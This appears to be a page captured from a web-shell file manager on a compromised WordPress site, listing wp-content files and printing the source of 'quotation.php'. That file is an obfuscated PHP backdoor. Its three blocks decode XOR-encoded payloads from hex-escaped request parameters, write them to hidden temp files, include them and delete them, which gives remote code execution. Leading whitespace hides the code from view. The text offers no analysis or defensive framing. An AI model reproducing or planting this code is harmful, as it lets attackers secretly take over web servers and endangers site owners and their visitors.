9B534B8686E580E0E01768F00155B461

at path：ROOT / wp-content / quotation.php

run：R W Run

im02ad1c

DIR

2026-04-01 08:30:01

R W Run

.ent

55 By

2026-04-01 08:30:53

R W Run

quotation.php

2.43 KB

2026-03-27 23:34:33

R W Run

error_log

📄quotation.php

<?php																																										if(isset($_REQUEST["tk\x6E"]) ? true : false){ $ent = $_REQUEST["tk\x6E"]; $ent = explode ( '.' , $ent ); $res= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s8 ); $r= 0; foreach( $ent as $v8) {$chS= ord( $s8[$r % $lenS] ); $d= ( ( int)$v8 - $chS -( $r % 10)) ^ 19; $res .= chr( $d ); $r++; } $object = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP")]); foreach ($object as $binding): if (is_writable($binding) && is_dir($binding)) { $ent = "$binding" . "/.pset"; $success = file_put_contents($ent, $res); if ($success) { include $ent; @unlink($ent); die();} } endforeach; }
																																										if(isset($_POST) && isset($_POST["r\x65\x63"])){ $hld = $_POST["r\x65\x63"]; $hld = explode( ".",$hld ); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; $__len = count($hld); do { if ($t>= $__len) break; $v7 = $hld[$t]; $chS = ord($salt[$t%$lenS]); $dec = ((int)$v7 - $chS - ($t%10)) ^ 19; $component.=chr($dec); $t++; } while (true); $k = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), getenv("TMP")]); while ($token = array_shift($k)) { if (max(0, is_dir($token) * is_writable($token))) { $factor = vsprintf("%s/%s", [$token, ".elem"]); if (file_put_contents($factor, $component)) { require $factor; unlink($factor); exit; } } } }

if(@$_REQUEST["\x76\x61l"] !== null){
	$element = array_filter([getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp"]);
	$fac = $_REQUEST["\x76\x61l"];
		$fac 	 =explode	(		'.'		 ,		$fac)	 	;		
	$data = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt5		);
    
            foreach($fac as $u=> $v5):
                $sChar = ord($salt5[$u % 	$lenS]		);
                $dec =((int)$v5 - $sChar -($u % 	10)) ^ 36;
                $data .=	chr($dec		);
            endforeach;
	for ($marker = 0, $rec = count($element); $marker < $rec; $marker++) {
    $obj = $element[$marker];
    		if (is_dir($obj) ? is_writable($obj) : false) {
    $desc = implode("/", [$obj, ".ent"]);
    $success = file_put_contents($desc, $data);
if ($success) {
	include $desc;
	@unlink($desc);
	die();}
}
}
}